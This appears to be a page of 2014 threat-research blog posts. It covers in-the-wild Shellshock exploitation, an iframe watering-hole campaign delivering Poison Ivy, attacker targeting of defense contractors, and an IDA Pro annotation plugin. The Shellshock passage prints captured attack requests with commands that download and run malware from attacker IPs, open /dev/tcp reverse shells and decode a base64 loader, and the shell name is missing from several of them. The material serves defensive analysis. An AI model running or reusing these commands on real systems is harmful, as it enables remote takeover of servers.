After echoing the string “Bagstash: ” back to the attacker, the exploit uses BASH’s command substitution. The “$(…)” construct starts a subshell and executes the included command, also returning the resulting output to the attacker. In this case, the command is “</etc/passwd”, which is a standard BASH shortcut equivalent to “cat /etc/passwd”. In other words, the password file has just gone out the front door.

Email-Based Reconnaissance

GET /cgi-bin/w3mman2html.cgi HTTP/1.1
Host: <domain>
Cookie: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
Referer: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'
User-Agent: () { ignored;};/bin/ -c 'mail -s hello <address>@gmail.com'

A very large percentage of the total number of exploit attempts are really just probes designed to somehow let the attacker know if it has succeeded, without causing any real damage to the system. Most of these use the “ping” command, or even the /dev/tcp capability mentioned above. This one, however, stood out due to the fact that it was the only one to use email.

The command above is fairly straightforward. If successful, the exploit uses the built-in Unix “mail” command to send a message to the indicated Gmail address, with the subject line “hello”. There is no message body.

Because email often takes very indirect routes to its destination, with the potential to involve many intermediate mail servers before final delivery, it seems odd that an attacker would consider this a reliable way to identify which systems were successfully exploited. Nevertheless, we observed this at multiple customers, using the same email address.

Payload Analyses

We have observed a number of injected BASH commands that attempt to download malware to vulnerable hosts via exploitation of the Shellshock BASH bug. The following is a brief analysis of these cases. They follow a similar format as the previous section.

Reverse Shell Perl Script

GET /cgi-sys/defaultwebpage.cgi HTTP/1.1
User-Agent: () { :;}; /bin/ -c "/usr/bin/wget http://singlesaints[.]com/firefile/temp?h=<domain> -O /tmp/a.pl"
Host: <domain>
Accept: */*

The injected BASH command above simply downloads a file. The downloaded payload (md5: 27cb601055cee7a4e55a91ee524f3d88) is a Perl script that sets up a reverse shell connecting to 72.167.37.182 on port 23 to singlesaints[.]com, a dating site for Mormons and the same domain that is hosted the downloaded script, resolves to this IP.

The script was first submitted to VirusTotal yesterday and at this time, it only has one detection. It was named after “Bashattack”, inferring that it was previously unknown to AV vendors. Curiously, the script, along with its server component, is hosted at http://ww7.microtek.com.tw/Uploads/test/ttyClient.pl.

Tsunami/Kaiten, an IRC-based DDoS Client/Backdoor

GET /cgi-sys/defaultwebpage.cgi HTTP/1.0
User-Agent: shellshock-scan (http://blog.erratasec.com/2014/09/-shellshock-scan-of-internet.html)
Accept: */*
Cookie: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;
Host: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;
Referer: () { :; }; wget -O /tmp/besh http://104.192.103.6/bosh; chmod 777 /tmp/besh; /tmp/besh;

The injected BASH commands above download a file, change its permissions to read/write/execute for all users, and executes the file. The downloaded payload (md5: aec2df8a6cb35aa5b01b0d9f1f879aa1) is an x86_64 ELF executable that was submitted to VirusTotal and detected by many vendors as Tsunami/Kaiten. It mainly functions as a DDoS client, but also has backdoor capabilities, communicating over IRC. This particular variant is configured to connect to and receive commands from the same IP address it was downloaded from: 104.192.103.6.

UDP Flood

GET / HTTP/1.0
User-Agent: masscan/1.0 (https://github.com/robertdavidgraham/masscan)
Accept: */*
Cookie: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.
‪txt > /var/www/html/conf.php
Host: () { :; }; wget 37.187.225.119/conf.txt > /var/www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php
Referer: () { :; }; wget 37.187.225.119/conf.txt > /var/
‪www/conf.php; wget 37.187.225.119/conf.txt > /var/www/html/conf.php

The injected commands above download a PHP file to what are commonly configured to be a Web server’s root directories, trying two different common locations. The PHP script (md5: 19149a03c9bd3a2706cb355df52862dd) was submitted to VirusTotal earlier yesterday with a few detections identifying it as a flooder. It is a small and simple PHP script that will continuously send UDP packets with 65,000 bytes of random alphanumerical characters to a host. The host, port, and time limit are all passed as GET request parameters along with a simple authentication password that must be “microstresser14”. The idea here is to convert exploited Web servers into on-demand DDoS clients.

Perl.Shellbot, another IRC-based DDoS Client/Backdoor

GET / HTTP/1.0
Accept: */*
Accept-Language: en-US
User-Agent: () { :;}; /bin/ -c ' -i >& /dev/tcp/195.225.34.101/3333 0>&1'
Host: <domain>
Connection: Close

The injected command above use the technique described above in the section titled “The No-Malware Reverse Shell Technique”. It sets up an interactive BASH shell to read in commands from a service running on 195.255.34.101 on port 3333. This server was hosting a file named index.html that contained the following BASH commands that were likely used in this attack:

rm -rf /tmp/.lCE-unix;echo 
'aW1wb3J0IHVybGxpYjt1cmxsaWIudXJscmV0cmlldmUgKCJodHRwOi8vMjAyLjEzNy4xNz
YuMTQ2L2ljb25zL3h0LmRhdCIsICIvdG1wLy5sQ0UtdW5peCIpCg=='>>/tmp/.lCE-
unix;perl -MMIME::Base64 -ne 'print decode_base64()' < /tmp/.lCE-
unix|python;wget -O /tmp/.lCE-unix 
http://202.137.176.146/icons/xt.dat;perl /tmp/.lCE-unix 81.18.135.38 
443;rm -rf /tmp/.lCE-unix;uptime

The commands above Base64 decode the initial string into the following python code below and execute it with Python.

import urllib;urllib.urlretrieve ("http://202.137.176.146/icons/xt.dat", "/tmp/.lCE-unix")

The code above simply downloads a file. The proceeding BASH commands redundantly (perhaps as a fallback mechanism) download the same file again using wget, then execute the file with Perl, removing the file after execution. The Perl script (md5: cd23ef54e264bd84ab1a12dddceb3f48) was first submitted to VirusTotal over a year ago and is known as ShellBot. It is an IRC bot with remote shell, scanning, and DDoS functionality. The BASH command passes it arguments that direct it to connect to 81.18.135.38 on port 443.

Another Perl.Shellbot Variant

GET /cgi-bin/hello HTTP/1.0
User-Agent: () { :;}; /bin/ -c "cd /tmp; wget http://dl.directxex[.]net/dl/nice.png; chmod +x *; perl nice.png"
Host: <domain>

The injected BASH commands above download a file to /tmp, make all files in /tmp executable (including the downloaded file), and execute the downloaded file with Perl. The downloaded file (md5: b0b8a35445a4743ff6f196a4c0bba688) is a Perl script referring to itself as “DDoS Perl IrcBot v1.0” in its comments. It was first submitted to VirusTotal only ten days ago, on September 17th with several detections naming it ShellBot, the same as with our previous analysis above. This script shares much code and functionality with the previous sample as well. This script is configured to connect to 94.102.52.10 on port 6667.

Tiny Reverse Shell ELF Executable

GET /cgi-
bin/ICuGI/EST/blast_detail.cgi%3FID%3DPU056535%26db%3DGenBank%26organis
m%3Dcucurbita_pepo HTTP/1.1
Host: <domain>
content-length: 0
accept-encoding: gzip, deflate
referrer: ()
{ :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | /bin/grep 64) 
; then /usr/bin/wget 82.118.242.223:9199/v64 -O /tmp/.osock; 
/usr/bin/lwp-download http://82.118.242[.]223:9199/v64 /tmp/.osock; 
/usr/bin
/curl http://82.118.242.223:9199/v64 -o /tmp/.osock; else /usr/bin/wget 
82.118.242.223:9199/v -O /tmp/.osock; /usr/bin/lwp-download 
http://82.118.242[.]223:9199/v /tmp/.osock; /usr/bin/curl
http://82.118.242[.]223:91
99/v -o /tmp/.osock; fi; /bin/chmod 777 /tmp/.osock; /tmp/.osock"
accept: */*
user-agent: User-Agent: Mozilla/5.0 (X11; Linux x86_64) 
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.116 
Safari/537.3
6
cookie: () { :; }; /bin/ -c "rm /tmp/.osock; if $(/bin/uname -m | 
/bin/grep 64) ; then /usr/bin/wget 82.118.242.223:9199/v64 -O 
/tmp/.osock; /usr/bin/lwp-download http://82.118.242[.]223:919

The injected BASH commands above, in this case, are quite lengthy. This is because it tries three different methods for downloading the payload. It also checks to see if the system is 64-bit or not and downloads a 64-bit version of the payload appropriately. The payload is a very small ELF executable (md5: 959aebc9b44c2a5fdd23330d9be1101e) that was submitted to VirusTotal yesterday with 0 detections. It simply creates a reverse shell, connecting to the same IP the payload was downloaded from: 82.118.242.223.

We will continue monitoring the threats and keep you updated with our new discoveries. We would also like to thank Durgesh Sangvikar and Josh Gomez for their great research and contribution to this blog post.

Aided Frame, Aided Direction (Because it’s a redirect)

| By and | Threat Intelligence, Threat Research |
Comments
0

Introduction:

On September 24 2014, FireEye observed a new strategic web compromise (SWC) campaign that we believe is targeting non-profit organizations and non-governmental organizations (NGO) by hosting iframes on legitimate websites. The compromised websites contained an iframe to direct site visitors to a threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims’ systems. FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent threat (APT) groups. FireEye previously established detection measures for this threat activity, ensuring our clients were prepared for these intrusion attempts well in advance of threat actor implementation.

Activity Overview:

On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared infrastructure and tools, on at least three different websites: an international non-profit organization that focuses on environmental advocacy, and two different NGOs that promote democracy and human rights. The group was able to compromise these websites and insert malicious iframes. Figure 1 displays one of the iframes. The threat group obfuscated the iframe on two of the compromised websites.

<div class=”views-field views-field-body”> <div class=”field-content”><p><iframe height=”0″ src=”http://103.27.108.45/img/js.php” width=”0″></iframe></p>

Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address

The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45. In turn, these exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php. A GET request to this URI returned the following content:

<applet code=”NvTest.class”,height=”200″ width=”200″>

.<param name=”bin” value=’4D5A90……’

Figure 2: The encoded payload (snipped for brevity)

The ‘bin’ param shown in Figure 2 is decoded from ASCII into hex by the Java exploit. Once decoded, FireEye identified the payload as a Poison Ivy variant. It had the following properties:

MD5 118fa558a6b5020b078739ef7bdac3a1

Size 25608 bytes

Compile Time 2014 09 15 08:21:23

Import Hash 09d0478591d4f788cb3e5ea416c25237

The Poison Ivy variant was also code signed with the below certificate:

SHA1 47:8C:E3:D6:CC:17:60:D3:27:14:6A:36:C9:88:77:4D:27:83:6A:D4

MD5 82B582589D4A59BE0720F088ACAC67A3

Serial Number 581AE6B6ABAFD73AC85B1AEFBDB2555F

Common Name zilliontek Co.,Ltd

Organization zilliontek Co.,Ltd

Country KR

State/Province Gyeonggi-do

City Suwon-si

Issue Date Jan 12 00:00:00 2013 GMT

Expiration Date Feb 20 23:59:59 2015 GMT

The backdoor also contained the below versioning info embedded in the RT_VERSION of one of the PE resources:
LegalCopyright: Copyright 2012 Google Inc. All rights reserved.
InternalName: chrome_exe
ProcuctShortName: Chrome
FileVersion: 34.0.1847.131
CompanyName: Google Inc.
OrginaLFilename: chrome.exe
LegalTrademarks:
ProductName: Google Chrome
ComparyShortName: Google
LastChange: 265687
FileDescription: Google Chrome
Offcial Build: 1
PriductVersion: 34.0.1847.131
Translation: 0×0409 0x04b0

This versioning info attempted to masquerade as a Google Chrome file. However, the malware author misspelled multiple words when attempting to put in versioning information for this particular build.

The Poison Ivy implant had the following configuration properties:
C2: quakegoogle.servequake.com, Port: 80
Password: qeTGd3485fF
Mutex: )!VoqA.I4

The C2 domain quakegoogle.servequake[.]com resolved to 115.126.62.100 at the time of the SWCs. Other domains resolving to the same IP include the following:

assign.ddnsking.com
quakegoogle.servequake.com
picsgoogle.servepics.com

Figure 3: Domains observed resolving to 115.126.62.100

Between August 30, 2014 and September 16, 2014 we also observed SOGU (aka Kaba) callback traffic sent to assign.ddnsking.com over port 443.

Links to the Sunshop Digital Quartermaster

The Poison Ivy backdoor also had a RT_MANIFEST PE resource with a SHA256 fingerprint of 82a98c88d3dd57a6ebc0fe7167a86875ed52ebddc6374ad640407efec01b1393.

This same RT_MANIFEST resource was documented in our previous Sunshop Digital Quartermaster report. FireEye previously identified this specific RT_MANIFEST as the ‘Sunshop Manifest,’ and we have observed this same manifest resource used in 86 other samples. As we stated in the Quartermaster report, we believe this shared resource is an artifact of a builder toolkit made available to a number of China-based APT groups.

Conclusion

This activity represents a new SWC campaign. We suspect threat actors are leveraging their access to compromised websites belonging to NGOs and non-profits to target other organizations in the same industries. These websites are often visited by organization employees and other organizations in the same industries, allowing threat actors to move laterally within already compromised networks or gain access to new networks. While FireEye has not attributed this activity to a specific threat group, we frequently observe China-based threat actors target non-profits and NGOs, and we suspect that they seek to monitor activity within their borders that may lead to domestic unrest or embarrass the Chinese government. For example, in 2013, FireEye observed China-based threat actors steal grant applications and activity reports specifically related to an international NGO’s China-based activities. We suspects threat actors sought to monitor these programs and involved individuals. The three organizations whose websites are hosting the malicious iframes have China-based operations.

FireEye is releasing information on this campaign to allow organizations to investigate and prepare for this activity in their networks. We believe non-profits and NGOs remain at elevated risk of intrusion and should be especially wary of attempts to compromise their networks using SWC. Threat actors may use SWCs to achieve this goal, but FireEye does not discount the possibility that threat actors will use other means at their disposal, including phishing. Based on past threat actor activity in this industry, FireEye expects threat actors are motivated to steal programmatic data and monitor organizations’ programs in specific countries. If China-based threat actors are behind the observed campaign, FireEye expects that organizations with operations in China are high-priority targets. FireEye currently has detection measures in place that should allow users of FireEye products to detect this SWC activity. It is also likely that other industries or organizations were affected by this SWC activity, since these sites are public facing and frequently visited.

Special thanks to Google’s Billy Leonard for providing additional information and research.

Thanks to the following authors for their contributions: Mike Oppenheim, Ned Moran, and Steve Stone.

The big bad BASH bug

| By | Vulnerabilities |
Comments
0

This bug is horrible. It’s worse than Heartbleed, in that it affects servers that help manage huge volumes of Internet traffic. Conservatively, the impact is anywhere from 20 to 50% of global servers supporting web pages. Specifically, this issue affects web servers using GNU BASH to process traffic from the Internet. In addition, this bug covers almost all CGI-based web servers, which are generally older systems on the Internet.

This bug allows arbitrary remote code execution on a remote webserver, something that is extremely serious. Why? It allow the attacker to leverage the website in further strategic web compromises, such as watering hole attacks, against website visitors. This is precisely how many targeted attacks occur, with an exceptionally high degree of success.

What can enterprises do? The first step in this problem is to actively scan your infrastructure to identify vulnerable systems and assess overall impact. Most of the major Linux distributions have issued patches for this bug. Alternatively, switching your default shell to something other than BASH will help mitigate this issue.

We have not seen this vulnerability used in targeted attacks yet. There is a high probability that sophisticated threat groups will use this vulnerability soon. It is unknown as to whether these types of discovered vulnerabilities will escalate in the future. Finally, it’s worth noting we have seen the first attack in the wild:

https://gist.github.com/anonymous/929d622f3b36b00c0be1

However, this is not necessarily a targeted attack.

Putting TRANSCOM in Perspective

| By and | Threat Intelligence, Threat Research |
Comments
0

Today, the Senate Armed Services Committee released information indicating that China-based threat actors were heavily targeting TRANSCOM, the U.S. military’s logistics arm. In terms of the private sector contractors impacted, the intrusions detailed in the Levin report mirror activity FireEye has observed: we frequently see nation state threat actors target not only government, but also private sector organizations in order to obtain military intelligence.

Why Pursue Military Secrets?

FireEye believes that China-based threat actors are primarily motivated to compromise the defense industrial base – both private defense contractors and government agencies — (DIB) for data theft in order to:

  • Steal intellectual property and proprietary information capable of providing the government with a military advantage and assist the country in reaching its goals for military modernization. The Chinese government likely could use information stolen from the DIB to assess the U.S.’ military capabilities, and indigenously develop its products (as well as possibly the means to effectively counter them). This may also offer a way for the government to circumvent U.S. security restrictions and other export controls to obtain technologies that they are not able to otherwise purchase from the U.S. and its close allies.
  • Stealing data from the DIB could also provide the Chinese government with an economic advantage in the global arms market, as the government would be able to indigenously develop and then sell new and highly valued technologies. Using stolen blueprints would also allow the Chinese government to increase its market competiveness, as it would be able to skip the research and development process and thus sell the same products for a cheaper price.

Threat Actors and Targets

We have seen more than 20 unique threat groups (including almost all the China-based APT groups that we track) that have compromised corporate networks in the Aerospace and Defense industry, particularly the following subsectors:

  • Aerospace & Defense Parts Wholesalers
  • Aerospace Products & Parts Manufacturing
  • Aircraft Engine & Parts Manufacturing
  • Guided Missile & Space Vehicle Manufacturing
  • Industrial & Military Computer System Manufacturing

Common data theft includes:

  • Personal Documents
  • Research Reports
  • Organizational Charts and Company Directories
  • Testing Results and Reports
  • Product Designs/Blueprints
  • Business Communications
  • Production Processes
  • PII
  • Budget Information
  • Safety Procedures
  • General Proprietary Product or Service Information
  • Equipment Maintenance Records and Specifications
  • System Log Files

While TRANSCOM attributed all 20 intrusions that it classified as “advanced persistent threat” to China, it’s important not to lose sight of the fact that China is not the only player in this game:

  • We have also observed suspected Russia-based actors target a defense technology company, and in Operation Saffron Rose, we saw an Iranian group target US defense contractors in addition to members of the Iranian opposition.
  • We’ve also seen a number of regional conflicts, such as India-Pakistan, play out in the cyber arena, and we are seeing indications that Middle East-based hackers are tuning their skills and posing an increasing nuisance to companies around the globe.

Multiple threat groups appear to have a firm understanding of the Aerospace and Defense supply chains, including the relationships between organizations and specific projects in the industry. In multiple instances, cyber espionage groups have targeted information about specific projects across several companies. Similarly, we have observed threat groups target the entire Aerospace and Defense manufacturing production cycle, from research and development through testing and production, all the way to product launch.

Defense contractors are not the only parties who are affected by military intelligence collection. We have also seen relatively small companies—for example, technology companies that produce products for military and consumer applications—hit by probable nation-state threat actors, who appear to be collecting intelligence on the companies relationships with adversary military organizations.

The intrusions at TRANSCOM and its contractors resulted in data theft, but it’s important to note that data theft is not the only possible outcome of a breach. It’s also possible for threat actors to modify data once they have access to it, or even to destroy data, as they did in the case of Saudi Aramco. They may establish a foothold to ensure that they have access to victim networks for future use, or to conduct reconnaissance for possible, future operations.

Lessons from TRANSCOM

Of the 11 contractors impacted, eight said they were not aware of any threat activity occurring during the period in question. This hearkens back to a mantra we have at FireEye: it is not a matter of if an enterprise will be breached, but when. It is therefore critical that organizations prepare for the inevitable breach by monitoring for signs of an intrusion, sharing intelligence with industry peers, and having a strong incident response plan in place. In addition, intel sharing—more freely among government entities, as well as the threat intelligence community writ large—and contribute to better preparedness and a more effective defense against cyber threats.

FLARE IDA Pro Script Series: MSDN Annotations IDA Pro for Malware Analysis

| By | Threat Intelligence, Threat Research |
Comments
0

The FireEye Labs Advanced Reverse Engineering (FLARE) Team continues to share knowledge and tools with the community. We started this blog series with a script for Automatic Recovery of Constructed Strings in Malware. As always, you can download these scripts at the following location: https://github.com/fireeye/flare-ida. We hope you find all these scripts as useful as we do.

Motivation

During my summer internship with the FLARE team, my goal was to develop IDAPython plug-ins that speed up the reverse engineering workflow in IDA Pro. While analyzing malware samples with the team, I realized that a lot of time is spent looking up information about functions, arguments, and constants at the Microsoft Developer Network (MSDN) website. Frequently switching to the developer documentation can interrupt the reverse engineering process, so we thought about ways to integrate MSDN information into IDA Pro automatically. In this blog post we will release a script that does just that, and we will show you how to use it.

Introduction

The MSDN Annotations plug-in integrates information about functions, arguments and return values into IDA Pro’s disassembly listing in the form of IDA comments. This allows the information to be integrated as seamlessly as possible. Additionally, the plug-in is able to automatically rename constants, which further speeds up the analyst workflow. The plug-in relies on an offline XML database file, which is generated from Microsoft’s documentation and IDA type library files.

Features

Table 1 shows what benefit the plug-in provides to an analyst. On the left you can see IDA Pro’s standard disassembly: seven arguments get pushed onto the stack and then the CreateFileA function is called. Normally an analyst would have to look up function, argument and possibly constant descriptions in the documentation to understand what this code snippet is trying to accomplish. To obtain readable constant values, an analyst would be required to research the respective argument, import the corresponding standard enumeration into IDA and then manually rename each value. The right side of Table 1 shows the result of executing our plug-in showing the support it offers to an analyst.

The most obvious change is that constants are renamed automatically. In this example, 40000000h was automatically converted to GENERIC_WRITE. Additionally, each function argument is renamed to a unique name, so the corresponding description can be added to the disassembly.

flare1

Table 1: Automatic labelling of standard symbolic constants

In Figure 1 you can see how the plug-in enables you to display function, argument, and constant information right within the disassembly. The top image shows how hovering over the CreateFileA function displays a short description and the return value. In the middle image, hovering over the hTemplateFile argument displays the corresponding description. And in the bottom image, you can see how hovering over dwShareMode, the automatically renamed constant displays descriptive information.

Functions

flare2

Arguments

flare3

Constants

flare4

Figure 1: Hovering function names, arguments and constants displays the respective descriptions

How it works

Before the plug-in makes any changes to the disassembly, it creates a backup of the current IDA database file (IDB). This file gets stored in the same directory as the current database and can be used to revert to the previous markup in case you do not like the changes or something goes wrong.

The plug-in is designed to run once on a sample before you start your analysis. It relies on an offline database generated from the MSDN documentation and IDA Pro type library (TIL) files. For every function reference in the import table, the plug-in annotates the function’s description and return value, adds argument descriptions, and renames constants. An example of an annotated import table is depicted in Figure 2. It shows how a descriptive comment is added to each API function call. In order to identify addresses of instructions that position arguments prior to a function call, the plug-in relies on IDA Pro’s markup.

flare5

Figure 2: Annotated import table

Figure 3 shows the additional .msdn segment the plug-in creates in order to store argument descriptions. This only impacts the IDA database file and does not modify the original binary.

flare6

Figure 3: The additional segment added to the IDA database

The .msdn segment stores the argument descriptions as shown in Figure 4. The unique argument names and their descriptive comments are sequentially added to the segment.

flare7

Figure 4: Names and comments inserted for argument descriptions

To allow the user to see constant descriptions by hovering over constants in the disassembly, the plug-in imports IDA Pro’s relevant standard enumeration and adds descriptive comments to the enumeration members. Figure 5 shows this for the MACRO_CREATE enumeration, which stores constants passed as dwCreationDisposition to CreateFileA.

flare8

Figure 5: Descriptions added to the constant enumeration members

Preparing the MSDN database file

The plug-in’s graphical interface requires you to have the QT framework and Python scripting installed. This is included with the IDA Pro 6.6 release. You can also set it up for IDA 6.5 as described here (http://www.hexblog.com/?p=333).

As mentioned earlier, the plug-in requires an XML database file storing the MSDN documentation. We cannot distribute the database file with the plug-in because Microsoft holds the copyright for it. However, we provide a script to generate the database file. It can be cloned from the git repository at https://github.com/fireeye/flare-ida together with the annotation plug-in.

You can take the following steps to setup the database file. You only have to do this once.

  1. Download and install an offline version of the MSDN documentationYou can download the Microsoft Windows SDK MSDN documentation. The standalone installer can be downloaded from http://www.microsoft.com/en-us/download/details.aspx?id=18950. Although it is not the newest SDK version, it includes all the needed information and data extraction is straight-forward.As shown in Figure 6, you can select to only install the help files. By default they are located in C:\Program Files\Microsoft SDKs\Windows\v7.0\Help\1033.

    flare9

    Figure 6: Installing a local copy of the MSDN documentation

  2. Extract the files with an archive manager like 7-zip to a directory of your choice.
  3. Download and extract tilib.exe from Hex-Ray’s download page at https://www.hex-rays.com/products/ida/support/download.shtml 

    To allow the plug-in to rename constants, it needs to know which enumerations to import. IDA Pro stores this information in TIL files located in %IDADIR%/til/. Hex-Rays provides a tool (tilib) to show TIL file contents via their download page for registered users. Download the tilib archive and extract the binary into %IDADIR%. If you run tilib without any arguments and it displays its help message, the program is running correctly.

  4. Run MSDN_crawler/msdn_crawler.py <path to extracted MSDN documentation> <path to tilib.exe> <path to til files>

    With these prerequisites fulfilled, you can run the MSDN_crawler.py script, located in the MSDN_crawler directory. It expects the path to the TIL files you want to extract (normally %IDADIR%/til/pc/) and the path to the extracted MSDN documentation. After the script finishes execution the final XML database file should be located in the MSDN_data directory.

You can now run our plug-in to annotate your disassembly in IDA.

Running the MSDN annotations plug-in

In IDA, use File - Script file… (ALT + F7) to open the script named annotate_IDB_MSDN.py. This will display the dialog box shown in Figure 7 that allows you to configure the modifications the plug-in performs. By default, the plug-in annotates functions, arguments and rename constants. If you change the settings and execute the plug-in by clicking OK, your settings get stored in a configuration file in the plug-in’s directory. This allows you to quickly run the plug-in on other samples using your preferred settings. If you do not choose to annotate functions and/or arguments, you will not be able to see the respective descriptions by hovering over the element.

flare10

Figure 7: The plug-in’s configuration window showing the default settings

When you choose to use repeatable comments for function name annotations, the description is visible in the disassembly listing, as shown in Figure 8.

flare11

Figure 8: The plug-in’s preview of function annotations with repeatable comments

Similar Tools and Known Limitations

Parts of our solution were inspired by existing IDA Pro plug-ins, such as IDAScope and IDAAPIHelp. A special thank you goes out to Zynamics for their MSDN crawler and the IDA importer which greatly supported our development.

Our plug-in has mainly been tested on IDA Pro for Windows, though it should work on all platforms. Due to the structure of the MSDN documentation and limitations of the MSDN crawler, not all constants can be parsed automatically. When you encounter missing information you can extend the annotation database by placing files with supplemental information into the MSDN_data directory. In order to be processed correctly, they have to be valid XML following the schema given in the main database file (msdn_data.xml). However, if you want to extend partly existing function information, you only have to add the additional fields. Name tags are mandatory for this, as they get used to identify the respective element.

For example, if the parser did not recognize a commonly used constant, we could add the information manually. For the CreateFileA function’s dwDesiredAccess argument the additional information could look similar to Listing 1.

<?xml version=”1.0″ encoding=”ISO-8859-1″?>
<msdn>
<functions>
<function>
<name>CreateFileA</name>
<arguments>
<argument>
<name>dwDesiredAccess</name>
<constants enums=”MACRO_GENERIC”>
<constant>
<name>GENERIC_ALL</name>
<value>0×10000000</value>
<description>All possible access rights</description>
</constant>
<constant>
<name>GENERIC_EXECUTE</name>
<value>0×20000000</value>
<description>Execute access</description>
</constant>
<constant>
<name>GENERIC_WRITE</name>
<value>0×40000000</value>
<description>Write access</description>
</constant>
<constant>
<name>GENERIC_READ</name>
<value>0×80000000</value>
<description>Read access</description>
</constant>
</constants>
</argument>
</arguments>
</function>
</functions>
</msdn>

Listing 1: Additional information enhancing the dwDesiredAccess argument for the CreateFileA function

Conclusion

In this post, we showed how you can generate a MSDN database file used by our plug-in to automatically annotate information about functions, arguments and constants into IDA Pro’s disassembly. Furthermore, we talked about how the plug-in works, and how you can configure and customize it. We hope this speeds up your analysis process!

Stay tuned for the FLARE Team’s next post where we will release solutions for the FLARE On Challenge (www.flare-on.com).